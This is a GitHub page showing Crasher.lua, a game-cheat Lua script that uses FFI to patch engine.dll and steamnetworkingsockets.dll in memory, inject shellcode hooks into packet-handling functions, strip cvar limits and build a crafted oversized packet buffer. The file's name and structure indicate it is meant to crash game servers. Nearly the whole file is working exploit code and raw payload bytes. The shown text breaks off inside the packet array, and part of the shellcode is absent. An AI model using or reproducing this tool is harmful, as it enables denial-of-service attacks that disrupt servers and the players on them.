-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathCrasher.lua
885 lines (781 loc) · 48.5 KB
/
Crasher.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
local ffi = require("ffi")
local bit = require("bit")
ffi.cdef([[
typedef void VOID;
typedef VOID* LPVOID;
typedef uintptr_t ULONG_PTR;
typedef ULONG_PTR SIZE_T;
typedef unsigned long DWORD;
typedef unsigned long* PDWORD;
typedef int BOOL;
typedef unsigned char BYTE;
typedef unsigned char* PBYTE;
typedef unsigned short WORD;
typedef unsigned char UCHAR;
typedef unsigned short UINT16, *PUINT16;
typedef unsigned __int64 ULONG64, *PULONG64;
typedef struct _nezu_ConVar {
void** virtual_function_table;
BYTE pad[20];
void* changeCallback;
void* parent;
const char* defaultValue;
char* string;
int m_StringLength;
float m_fValue;
int m_nValue;
int m_bHasMin;
float m_fMinVal;
int m_bHasMax;
float m_fMaxVal;
void* onChangeCallbacks_memory;
int onChangeCallbacks_allocationCount;
int onChangeCallbacks_growSize;
int onChangeCallbacks_size;
void* onChangeCallbacks_elements;
} nezu_ConVar;
]])
local PAGE_EXECUTE_READWRITE = 0x40
local proxy_addr = client.find_signature("client.dll", string.char(0x51, 0xC3)) or error("err1")
local get_mod_add_patern = client.find_signature("client.dll", string.char(0xC6, 0x06, 0x00, 0xFF, 0x15, 0xCC, 0xCC, 0xCC, 0xCC, 0x50)) or error("err2")
local get_mod_add_addr = ffi.cast("void***", ffi.cast("char*", get_mod_add_patern) + 5)[0][0] or error("err3")
local get_mod_add_proxy = ffi.cast("uintptr_t (__thiscall*)(void*, const char*)", proxy_addr) or error("err4")
local get_proc_add_patern = client.find_signature("client.dll", string.char(0x50, 0xFF, 0x15, 0xCC, 0xCC, 0xCC, 0xCC, 0x85, 0xC0, 0x0F, 0x84, 0xCC, 0xCC, 0xCC, 0xCC, 0x6A, 0x00)) or error("err5")
local get_proc_add_addr = ffi.cast("void***", ffi.cast("char*", get_proc_add_patern) + 3)[0][0] or error("err6")
local get_proc_add_proxy = ffi.cast("uintptr_t (__thiscall*)(void*, uintptr_t, const char*)", proxy_addr) or error("err7")
local kernel32_addr = get_mod_add_proxy(get_mod_add_addr, "kernel32.dll") or error("err8.1")
local ucrtbase_addr = get_mod_add_proxy(get_mod_add_addr, "ucrtbase.dll") or error("err8.2")
local VirtualAlloc_addr = get_proc_add_proxy(get_proc_add_addr, kernel32_addr, "VirtualAlloc") or error("err9")
local VirtualAlloc_proxy = ffi.cast("uintptr_t (__thiscall*)(uintptr_t, void*, uintptr_t, uintptr_t, uintptr_t)", proxy_addr) or error("err10")
local function VirtualAlloc(size, executeble)
executeble = executeble or false
return VirtualAlloc_proxy(VirtualAlloc_addr, nil, size, 0x3000, executeble and 0x40 or 0x04)
end
local VirtualProtect_addr = get_proc_add_proxy(get_proc_add_addr, kernel32_addr, "VirtualProtect") or error("err11")
local VirtualProtect_proxy = ffi.cast("uintptr_t (__thiscall*)(uintptr_t, void*, uintptr_t, uintptr_t, uintptr_t*)", proxy_addr) or error("err12")
local function VirtualProtect(addr, size, protect, oldprotect)
if oldprotect == nil then
oldprotect = ffi.new("uintptr_t[1]")
end
return VirtualProtect_proxy(VirtualProtect_addr, ffi.cast("void*", addr), size, protect, oldprotect)
end
local _beginthreadex_addr = get_proc_add_proxy(get_proc_add_addr, ucrtbase_addr, "_beginthreadex") or error("err13")
local function debug(...)
-- print(...)
end
debug("-----------------------------------------------")
--#region utils
local function patch(pointer, bytes)
debug(string.format("patched %d bytes", #bytes))
local oldprotect = ffi.new('DWORD[1]')
VirtualProtect(pointer, #bytes, PAGE_EXECUTE_READWRITE, oldprotect)
ffi.copy(pointer, ffi.new("char[?]", #bytes, bytes), #bytes)
VirtualProtect(pointer, #bytes, oldprotect[0], oldprotect)
end
local function instantPatch(dll, pattern, bytes)
local mem = client.find_signature(dll, pattern)
if mem ~= nil then
patch(ffi.cast("void*", mem), bytes)
debug("patched "..dll)
else
debug("failed to patch "..dll)
end
end
local function createShellcode(array)
local mem = ffi.cast("void*", VirtualAlloc(#array, true))
ffi.copy(mem, ffi.new("char[?]", #array, array), #array)
return mem
end
local function setUint(array, offset, value)
local value2 = tonumber(ffi.cast("uintptr_t", value))
-- print(offset, " ", value2)
for i = 0, 3 do
array[i+offset] = bit.band(bit.rshift(value2, i * 8), 0xFF)
end
end
local function offsetPointer(mem, offset)
return ffi.cast("void*", tonumber(ffi.cast("uintptr_t", mem)) + (offset * 4))
end
--#endregion
local engine_cvar = ffi.cast("void***", client.create_interface("vstdlib.dll", "VEngineCvar007")) or error('VEngineCvar007 is nil.')
local engine_cvar_vmt = engine_cvar[0]
local engine_cvar_findVar = ffi.cast(ffi.typeof("nezu_ConVar*(__thiscall*)(void*, const char*)"), engine_cvar_vmt[15])
local cvar_sv_maxroutable = engine_cvar_findVar(engine_cvar, "sv_maxroutable") or error('sv_maxroutable not found')
local cvar_net_maxroutable = engine_cvar_findVar(engine_cvar, "net_maxroutable") or error('net_maxroutable not found')
local cvar_cl_flushentitypacket = engine_cvar_findVar(engine_cvar, "cl_flushentitypacket") or error('cl_flushentitypacket not found')
local cvar_net_compresspackets_minsize = engine_cvar_findVar(engine_cvar, "net_compresspackets_minsize") or error('net_compresspackets_minsize not found')
local cvar_net_compresspackets = engine_cvar_findVar(engine_cvar, "net_compresspackets") or error('net_compresspackets not found')
local cvar_net_threaded_socket_recovery_time = engine_cvar_findVar(engine_cvar, "net_threaded_socket_recovery_time") or error('net_threaded_socket_recovery_time not found')
local cvar_net_threaded_socket_recovery_rate = engine_cvar_findVar(engine_cvar, "net_threaded_socket_recovery_rate") or error('net_threaded_socket_recovery_rate not found')
local cvar_net_threaded_socket_burst_cap = engine_cvar_findVar(engine_cvar, "net_threaded_socket_burst_cap") or error('net_threaded_socket_burst_cap not found')
local cvar_rate = engine_cvar_findVar(engine_cvar, "rate") or error('rate not found')
local cvar_vmt = cvar_rate.virtual_function_table
local cvar_setFloat = ffi.cast(ffi.typeof("void(__thiscall*)(void*, float)"), cvar_vmt[15])
local cvar_setInt = ffi.cast(ffi.typeof("void(__thiscall*)(void*, int)"), cvar_vmt[16])
-- -- remove callbacks
cvar_sv_maxroutable.onChangeCallbacks_size = 0
cvar_net_maxroutable.onChangeCallbacks_size = 0
cvar_cl_flushentitypacket.onChangeCallbacks_size = 0
cvar_net_compresspackets_minsize.onChangeCallbacks_size = 0
cvar_net_compresspackets.onChangeCallbacks_size = 0
cvar_net_threaded_socket_recovery_time.onChangeCallbacks_size = 0
cvar_net_threaded_socket_recovery_rate.onChangeCallbacks_size = 0
cvar_net_threaded_socket_burst_cap.onChangeCallbacks_size = 0
cvar_rate.onChangeCallbacks_size = 0
cvar_net_maxroutable.m_bHasMin = 0;
cvar_net_maxroutable.m_bHasMax = 0;
local CRASHER_STATE_ENABLED = 0;
local CRASHER_STATE_STRENGTH = 1;
local CRASHER_STATE_OPC = 2;
local CRASHER_STATE_OSSCD = 3;
local CRASHER_STATE_SHOULD_CALL = 4;
local CRASHER_STATE_COUNTER = 5;
local CRASHER_STATE_NETCHAN = 6;
local CRASHER_STATE_SENDLONG = 7;
local CRASHER_STATE_SENDTOIMPL = 8;
local CRASHER_STATE_BEGINTHREADEX = 9;
---@diagnostic disable-next-line: undefined-field
local crasher_state_mem = VirtualAlloc(0x1000, false)
local crasher_state = ffi.cast("uintptr_t*", crasher_state_mem);
instantPatch("engine.dll", string.char(0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0x3B, 0xF0, 0x0F, 0x4F, 0xF0, 0x89, 0x5D, 0xFC), { 0xB8, 0x96, 0x00, 0x00, 0x00 })
instantPatch("engine.dll", string.char(0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xEB, 0x05, 0x3B, 0xC6), { 0xB8, 0x24, 0x00, 0x00, 0x00 })
instantPatch("steamnetworkingsockets.dll", string.char(0x8D, 0x0C, 0x16, 0x3B), { 0x8D, 0x0C, 0x16, 0x90, 0x90, 0xEB })
instantPatch("engine.dll", string.char(0x68, 0xCC, 0xCC, 0xCC, 0xCC, 0xC3, 0x81, 0xEC, 0xCC, 0xCC, 0xCC, 0xCC, 0x56, 0x57, 0x8B, 0xF9, 0x8B, 0x4D, 0x08), { 0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF0 })
local ProcessConnectionless = client.find_signature("engine.dll", string.char(0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF0, 0x81, 0xEC, 0xCC, 0xCC, 0xCC, 0xCC, 0x56, 0x57, 0x8B, 0xF9, 0x8B, 0x4D, 0x08)) or error("err2.1")
crasher_state[CRASHER_STATE_OPC] = ffi.cast("uintptr_t", ProcessConnectionless) + 6
if ProcessConnectionless ~= nil then
local Hooked_ProcessConnectionless = {
0x55, -- push ebp
0x8B, 0xEC, -- mov ebp, esp
0x80, 0x3D, 0xDE, 0xAD, 0xBE, 0xEF, 0x00, -- cmp [0xDEADBEEF], 0
0x74, 0x06, -- jz call_orig
0xB0, 0x01, -- mov al, 1
0x5D, -- pop ebp
0xC2, 0x04, 0x00, -- retn 4
-- :call_orig
0x5D, -- pop ebp
-- overwritten bytes from original:
0x55, -- push ebp
0x8B, 0xEC, -- mov ebp, esp
0x83, 0xE4, 0xF0, -- and esp, 0FFFFFFF0h
-- return flow to original
0xFF, 0x25, 0xEF, 0xBE, 0xAD, 0xDE -- jmp 0xDEADBEEF
}
local pProcessConnectionless = ffi.cast("void*", ProcessConnectionless)
setUint(Hooked_ProcessConnectionless, 6, offsetPointer(crasher_state, CRASHER_STATE_ENABLED))
setUint(Hooked_ProcessConnectionless, 28, offsetPointer(crasher_state, CRASHER_STATE_OPC))
local mem_Hooked_ProcessConnectionless = createShellcode(Hooked_ProcessConnectionless)
local ProcessConnectionless_hook = {
0x68, 0x78, 0x56, 0x34, 0x12, -- push 0x12345678
0xC3 -- ret
}
setUint(ProcessConnectionless_hook, 2, mem_Hooked_ProcessConnectionless)
debug("mem_Hooked_ProcessConnectionless", tonumber(ffi.cast("uintptr_t", mem_Hooked_ProcessConnectionless)))
patch(pProcessConnectionless, ProcessConnectionless_hook)
debug("hooked ProcessConnectionless")
else
print("Failed to hook ProcessConnectionless")
end
local csp = client.find_signature("engine.dll", string.char(0xA1, 0xCC, 0xCC, 0xCC, 0xCC, 0x33, 0xD2, 0x6A, 0x00, 0x6A, 0x00, 0x33, 0xC9, 0x89, 0xB0)) or error("err2.2")
local clientstate = ffi.cast('uintptr_t**', tonumber(ffi.cast('uintptr_t', csp)) + 1)[0][0];
instantPatch("engine.dll", string.char(0x68, 0xCC, 0xCC, 0xCC, 0xCC, 0xC3, 0x53, 0x8B, 0xD9, 0x89, 0x5D, 0xF4, 0xE8), { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18 })
local SendSubChannelData = client.find_signature("engine.dll", string.char(0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x53, 0x8B, 0xD9, 0x89, 0x5D, 0xF4, 0xE8)) or error("err2.3")
crasher_state[CRASHER_STATE_OSSCD] = ffi.cast("uintptr_t", SendSubChannelData) + 6
if SendSubChannelData ~= nil then
local Hooked_SendSubChannelData = {
0x55, -- 0 push ebp
0x8B, 0xEC, -- 1 mov ebp, esp
0xB8, 0x78, 0x56, 0x34, 0x12, -- 3 mox eax, clientstate
0xC6, 0x80, 0x78, 0x01, 0x00, 0x00, 0x00, -- 8 mov [eax+0x178], 0
0xC7, 0x81, 0x5C, 0x41, 0x00, 0x00, 0x00, 0x00, 0x80, 0xBF, -- 15 mov [ecx+0x415c], 0xbf800000 ; -1.0f
0x5D, -- 25 pop ebp
-- overwritten bytes from original:
0x55, -- 26 push ebp
0x8B, 0xEC, -- 27 mov ebp, esp
0x83, 0xEC, 0x18, -- 29 sub esp, 18h
-- return flow to original
0xFF, 0x25, 0xEF, 0xBE, 0xAD, 0xDE -- 32 jmp oSendSubChannelData
}
local pSendSubChannelData = ffi.cast("void*", SendSubChannelData)
setUint(Hooked_SendSubChannelData, 5, clientstate)
setUint(Hooked_SendSubChannelData, 35, offsetPointer(crasher_state, CRASHER_STATE_OSSCD))
local mem_Hooked_SendSubChannelData = createShellcode(Hooked_SendSubChannelData)
local SendSubChannelData_hook = {
0x68, 0x78, 0x56, 0x34, 0x12, -- push 0x12345678
0xC3 -- ret
}
setUint(SendSubChannelData_hook, 2, mem_Hooked_SendSubChannelData)
debug("mem_Hooked_SendSubChannelData", tonumber(ffi.cast("uintptr_t", mem_Hooked_SendSubChannelData)))
patch(pSendSubChannelData, SendSubChannelData_hook)
debug("hooked SendSubChannelData")
else
print("Failed to hook SendSubChannelData")
end
-- to lazy to comment this one, it's copied from disassembly
local CUSTOM_NET_SendLong = {
0x55, 0x8B, 0xEC, 0x81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OM_NET_SendLong)
local packetbuf = {
0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0xff,0xff,0xff,0xff,
0x6b,0x40,0xf2,0x0b,0x19,0x31,0x00,0x00,0x5a,0xcd,0x00,0x02,0x29,0x00,0x43,0x00,
0x02,0x23,0x00,0x76,0xbe,0x55,0x00,0x76,0x84,0x00,0x76,0xe1,0x00,0x76,0x6c,0x00,
0x76,0xd6,0x55,0x00,0x76,0xae,0x00,0x76,0x52,0x00,0x76,0x90,0x00,0x76,0x49,0x55,
0x00,0x76,0xf1,0x00,0x7e,0xbb,0x00,0x76,0xe9,0x00,0x76,0xeb,0x55,0x00,0x76,0xb3,
0x00,0x76,0xa6,0x00,0x76,0xdb,0x00,0x76,0x3c,0x55,0x00,0x76,0x87,0x00,0x76,0x0c,
0x00,0x76,0x3e,0x00,0x76,0x99,0x55,0x00,0x76,0x24,0x00,0x76,0x5e,0x00,0x76,0x0d,
0x00,0x76,0x1c,0x55,0x00,0x76,0x06,0x00,0x76,0xb7,0x00,0x76,0x47,0x00,0x76,0xde,
0x55,0x07,0xfe,0x12,0x00,0x76,0x4d,0x00,0x76,0xc8,0x00,0x76,0x43,0x55,0x0b,0xfe,
0x8b,0x0a,0xfe,0x1f,0x00,0x76,0x03,0x00,0x76,0x5a,0x55,0x00,0x76,0x7d,0x00,0x76,
0x09,0x00,0x76,0x38,0x00,0x76,0x25,0x55,0x03,0x7e,0x5d,0x00,0x76,0xd4,0x00,0x76,
0xcb,0x00,0x76,0xfc,0x55,0x00,0x76,0x96,0x00,0x76,0xf5,0x00,0x76,0x45,0x00,0x76,
0x3b,0xd5,0x00,0x76,0x13,0x0f,0x7e,0x89,0x00,0x76,0x0a,0x10,0x7e,0x15,0x77,0x55,
0x1b,0x77,0x32,0x00,0x76,0x20,0x00,0x76,0x9a,0x00,0x76,0x50,0x55,0x00,0x76,0xee,
0x00,0x76,0x40,0x00,0x76,0x78,0x00,0x76,0x36,0x5d,0x00,0x76,0xfd,0x13,0x7e,0x1f,
0x77,0x05,0x77,0xf6,0x00,0x76,0x9e,0xab,0x10,0xfe,0x02,0x77,0xdc,0x00,0x76,0xad,
0x00,0x76,0x4f,0x00,0x76,0xaa,0x14,0x00,0x76,0xf2,0x00,0x76,0x44,0x08,0x7e,0x66,
0x00,0x76,0xaa,0xd0,0x00,0x76,0x6b,0x00,0x76,0xc4,0x00,0x76,0x30,0x1e,0xfe,0x6b,
0x08,0xf7,0x12,0xf7,0xa1,0x00,0x76,0x22,0x0a,0x7e,0x00,0xf7,0x91,0x5d,0x00,0x76,
0x9d,0x2f,0xfe,0x1f,0x77,0x1b,0x77,0xda,0x00,0x76,0xb0,0x55,0x00,0x76,0xca,0x29,
0x7e,0x02,0x00,0x76,0xb9,0x00,0x76,0x72,0xab,0x05,0x7e,0x10,0x77,0x2c,0x00,0x76,
0x80,0x00,0x76,0x7e,0x00,0x76,0x5a,0xc5,0x04,0xfe,0xd5,0x33,0xfe,0x02,0xf7,0xb2,
0x00,0x76,0xea,0x55,0x00,0x76,0xc9,0x00,0x76,0xcc,0x00,0x76,0x53,0x00,0x76,0xbf,
0x7d,0x00,0x76,0x67,0x3c,0x7e,0x01,0x77,0x17,0x77,0x01,0x77,0x08,0x77,0x2d,0x55,
0x1a,0xfe,0x8e,0x18,0x7e,0x83,0x00,0x76,0xef,0x00,0x76,0x57,0x55,0x0d,0xfe,0x61,
0x00,0x76,0xff,0x00,0x76,0x69,0x00,0x76,0x8f,0xab,0x01,0xfe,0x00,0x07,0xd1,0x00,
0x76,0x1e,0x12,0xfe,0x9c,0x00,0x76,0x56,0x16,0x14,0xfe,0x00,0x77,0xe6,0x00,0x76,
0x1d,0x00,0x76,0xf0,0xab,0x4c,0x7e,0x25,0xf7,0x4a,0x00,0x76,0x77,0x1a,0x7e,0xd7,
0x00,0x76,0xfa,0xe8,0x00,0x76,0x39,0x19,0xfe,0x14,0x77,0x39,0xf7,0x16,0x77,0x2f,
0xf7,0xb5,0x0a,0xf7,0x33,0x00,0x76,0x74,0x2f,0xfe,0x4b,0xf7,0xf4,0x1c,0xfe,0x55,
0x3f,0x77,0x9f,0x00,0xfe,0xa4,0x00,0x76,0x59,0x18,0xfe,0x35,0x7d,0x00,0x76,0xcf,
0x2d,0xfe,0x2b,0xf7,0x05,0xf7,0x1f,0xf7,0x02,0x77,0xd3,0x5b,0x5a,0x7e,0x1d,0x77,
0x48,0x01,0xfe,0x19,0x77,0x75,0x15,0x7e,0xd9,0x55,0x15,0xfe,0x2a,0x00,0x76,0xe5,
0x00,0x76,0xc0,0x00,0x76,0xf7,0xb5,0x00,0x76,0x2b,0x43,0x7e,0x81,0x5c,0xfe,0x3d,
0x77,0x0e,0x00,0x76,0x5a,0x5f,0x47,0xfe,0x00,0x10,0xfe,0x22,0x77,0x8d,0x6a,0x7e,
0x7b,0xd5,0x00,0x76,0x05,0x00,0x76,0x15,0x00,0x76,0x07,0x3f,0x7e,0x19,0x77,0xaa,
0x82,0x3c,0x7e,0x18,0x00,0x76,0x70,0x00,0x76,0x92,0x3d,0xfe,0xaa,0x64,0x00,0x76,
0x54,0x00,0x76,0xce,0x00,0x76,0xb1,0x00,0x76,0xae,0x85,0x69,0x7e,0x2d,0xf7,0x08,
0x77,0xf8,0x00,0x76,0x46,0x00,0x76,0xea,0x6a,0x00,0x76,0x04,0x5d,0xfe,0x73,0x10,
0xfe,0x16,0xf7,0x2e,0xf7,0xfa,0x2f,0x3b,0xfe,0x68,0x11,0xfe,0x17,0x77,0x2d,0xf7,
0x00,0x77,0x52,0x77,0x6b,0x39,0x77,0x03,0x77,0x76,0x00,0x76,0xfa,0x06,0x7e,0x6e,
0x77,0x11,0x57,0x59,0xfe,0x63,0x77,0x76,0xf7,0x88,0x00,0x76,0x79,0x00,0x76,0xfe,
0xff,0x80,0xfe,0x66,0xf7,0x6e,0xf7,0x74,0x77,0x22,0xf7,0x7d,0xf7,0x2a,0xf7,0x6d,
0x77,0xd5,0x28,0x77,0xd8,0x00,0x76,0x28,0x17,0x7e,0x0b,0x70,0xfe,0x52,0x77,0xaa,
0x60,0x32,0xfe,0x3d,0x00,0x76,0x97,0x00,0x76,0x27,0x00,0x76,0xde,0x8a,0x02,0x7e,
0x10,0x77,0x30,0xf7,0x12,0xf7,0xc2,0x3e,0x7e,0x00,0x07,0xdf,0x17,0x7f,0x4e,0x77,
0x1d,0x77,0x10,0xf7,0x0f,0x77,0x08,0x2b,0xfe,0x6c,0x77,0x6f,0x56,0xf7,0x24,0x77,
0x2a,0x77,0x04,0x77,0xa5,0x18,0x7e,0x10,0x77,0xc1,0xf5,0x00,0x76,0x8c,0x5a,0xfe,
0xa9,0x11,0xfe,0x36,0x77,0x0f,0xf7,0x02,0xf7,0x5f,0x24,0x77,0x99,0x77,0x2a,0x77,
0x3d,0x77,0x80,0x77,0x95,0x06,0xfe,0x9b,0xaf,0x70,0xfe,0x3e,0xf7,0x49,0x77,0x69,
0x77,0xa8,0x04,0x7e,0xa7,0x00,0x76,0xba,0x86,0x15,0x7e,0xb5,0x35,0x7e,0x68,0x77,
0x03,0x77,0xe7,0x30,0x7e,0xfb,0xa9,0xf7,0x61,0xf7,0x55,0x4c,0xfe,0x95,0xf7,0x12,
0x77,0x02,0x77,0x03,0xf7,0xef,0xab,0xf7,0x7f,0xf7,0x6b,0xf7,0xa3,0x77,0x4e,0x0d,
0xfe,0x84,0x77,0x67,0x77,0xeb,0x2d,0xf7,0x04,0xf7,0x71,0x5b,0x7e,0xe2,0x1b,0x7e,
0x00,0xf7,0x5f,0x77,0xf5,0x13,0xf7,0xb4,0xa8,0x7e,0x65,0x0b,0xfe,0x55,0x77,0x42,
0xf7,0x9c,0xf7,0x77,0x1d,0xf7,0x4b,0xf7,0x26,0x77,0x7a,0x2c,0x7e,0x56,0xf7,0x16,
0x77,0x63,0xb5,0x26,0x7e,0x26,0x00,0x76,0xdf,0x4e,0x7e,0xc0,0x77,0x6d,0x4c,0xfe,
0xda,0x62,0x00,0x76,0xe0,0x4a,0xfe,0x6f,0x77,0x34,0x1b,0xfe,0x73,0x77,0x7d,0xb1,
0xf7,0x3f,0x0c,0x7e,0x16,0xf7,0x27,0xf7,0x06,0xf7,0x4f,0x77,0xe3,0xff,0x1a,0xfe,
0x1c,0xf7,0x1b,0x77,0x76,0x77,0xab,0x77,0x2b,0x77,0x79,0x77,0x0f,0x77,0xdb,0xb8,
0xf7,0x07,0xf7,0x41,0x61,0x7e,0x81,0x77,0x0f,0x38,0xfe,0x64,0x77,0xfd,0x19,0x77,
0x1b,0x08,0x7e,0x3c,0x77,0x41,0x77,0x47,0xf7,0x2a,0xf7,0x82,0xf7,0xdf,0x92,0x77,
0x1c,0x77,0xb3,0x77,0x40,0xf7,0x94,0xf7,0xf3,0x33,0x7e,0x6d,0xf7,0xbf,0x26,0xf7,
0x6e,0x77,0xb0,0xf7,0xd3,0x77,0x27,0xf7,0x95,0x77,0xa0,0x4b,0xfe,0xff,0x44,0xf7,
0x7c,0x77,0xd0,0x77,0x40,0x77,0x3b,0x77,0x42,0x77,0x23,0x77,0x68,0x77,0xff,0xd0,
0x77,0x04,0xf7,0x08,0x77,0x27,0xf7,0x00,0xf7,0x5e,0x77,0x17,0x77,0x0e,0xf7,0xdf,
0x16,0xf7,0x80,0x77,0x07,0x77,0x66,0xf7,0x35,0xf7,0x7f,0x77,0xfe,0x9b,0x77,0x5f,
0x43,0x77,0x41,0xf7,0x43,0xf7,0x8e,0xf7,0x49,0xf7,0xaa,0x00,0x76,0x5b,0xff,0x59,
0xfe,0xd1,0x77,0x50,0xf7,0x8c,0x77,0xd5,0x77,0x63,0xf7,0xbb,0x77,0x0c,0xf7,0x7f,
0xca,0x77,0x3d,0x77,0x2b,0x77,0x63,0x77,0x0d,0x77,0x21,0x77,0xd0,0x77,0xb8,0xff,
0xa6,0x7e,0x08,0x77,0xc5,0xf7,0xaa,0x77,0x8a,0xf7,0x26,0xf7,0xbd,0xf7,0x00,0x07,
0xef,0x6f,0xf7,0xdc,0xf7,0x10,0xf7,0x92,0xf7,0x3a,0x44,0x7e,0x36,0x77,0x4c,0xf7,
0x5f,0xaa,0x77,0x8e,0xf7,0x0f,0xf7,0x31,0xf7,0x34,0x77,0x10,0x38,0xfe,0x4c,0xfd,
0x00,0x76,0xec,0x33,0xfe,0x01,0x77,0x21,0x77,0x14,0x77,0x32,0x77,0x08,0x77,0xfe,
0x31,0x3c,0x7e,0x19,0x77,0x83,0xf7,0xa8,0x77,0xaf,0x77,0xd3,0x7f,0x79,0xf7,0xff,
0x2c,0xf7,0x7f,0xf7,0xbf,0xf7,0x12,0xf7,0x29,0x77,0x83,0x77,0x50,0x77,0x03,0xf7,
0xf5,0x7d,0x77,0x42,0x00,0x76,0x7c,0x5c,0x7e,0x6c,0xf7,0x99,0x77,0x00,0x07,0xff,
0x29,0xf7,0x30,0xf7,0x45,0xf7,0x67,0x77,0xa0,0x77,0x1e,0x77,0x17,0x77,0x02,0xf7,
0xf7,0x28,0xf7,0x12,0xf7,0x0d,0xf7,0x5a,0x3d,0x7e,0x66,0x77,0x86,0xf7,0x1f,0xf7,
0xef,0x43,0xf7,0x8b,0x77,0x5a,0xf7,0x8d,0x77,0xde,0x01,0x7e,0xdf,0xf7,0x15,0xf7,
0xff,0x45,0x77,0x29,0xf7,0x78,0xf7,0xa2,0xf7,0x01,0x77,0x69,0xf7,0x18,0x77,0x2e,
0x77,0xfe,0xe4,0xb0,0xfe,0x01,0x77,0x81,0xf7,0x14,0xf7,0xb9,0x77,0x64,0x77,0x4a,
0x77,0xab,0x0f,0x77,0x77,0x77,0x21,0xae,0x7e,0x93,0x87,0xfe,0xb3,0xc6,0xfe,0xdf,
0x25,0xf7,0x2b,0xf7,0x92,0x77,0xa3,0x77,0x37,0xf7,0xaf,0x4b,0xfe,0x23,0xf7,0xfe,
0x6f,0x0d,0x7e,0xcf,0x7f,0x2f,0x77,0x1a,0x77,0xa4,0xf7,0x19,0xf7,0x3f,0xf7,0xff,
0x5f,0x77,0x24,0xf7,0x78,0xf7,0x3c,0x77,0x63,0xf7,0x17,0x77,0x05,0x77,0x03,0xff,
0x7f,0x21,0xf7,0x31,0xf7,0x62,0xf7,0x93,0x77,0xc2,0x77,0x4c,0xf7,0x74,0x77,0x09,
0xab,0x64,0x7e,0x2e,0xf7,0x01,0x12,0xfe,0x17,0x00,0x76,0x56,0x00,0x76,0xf6,0xc6,
0x58,0xfe,0x33,0x77,0xc8,0x08,0xfe,0x35,0x77,0x41,0x77,0xbc,0x77,0x77,0xd9,0xf7,
0x88,0x77,0x6e,0x77,0x6b,0x4c,0xfe,0x7f,0x77,0x81,0x77,0xf9,0xff,0x5a,0x7e,0x62,
0xf7,0x2c,0xf7,0x6a,0x77,0x0a,0xf7,0xe6,0xf7,0x66,0xf7,0x4e,0x77,0xff,0xd7,0x77,
0x88,0x77,0x7d,0x77,0x5f,0x77,0x01,0x77,0x32,0xf7,0x54,0xf7,0x0e,0xf7,0xed,0xf6,
0xf7,0x1c,0x66,0x7e,0x58,0xf7,0x37,0x3b,0xfe,0xa7,0xf7,0x3a,0x77,0xff,0x21,0x77,
0xd2,0x77,0x61,0xf7,0x92,0x77,0x36,0xf7,0x89,0x77,0x8b,0x77,0x3d,0x77,0xfb,0x07,
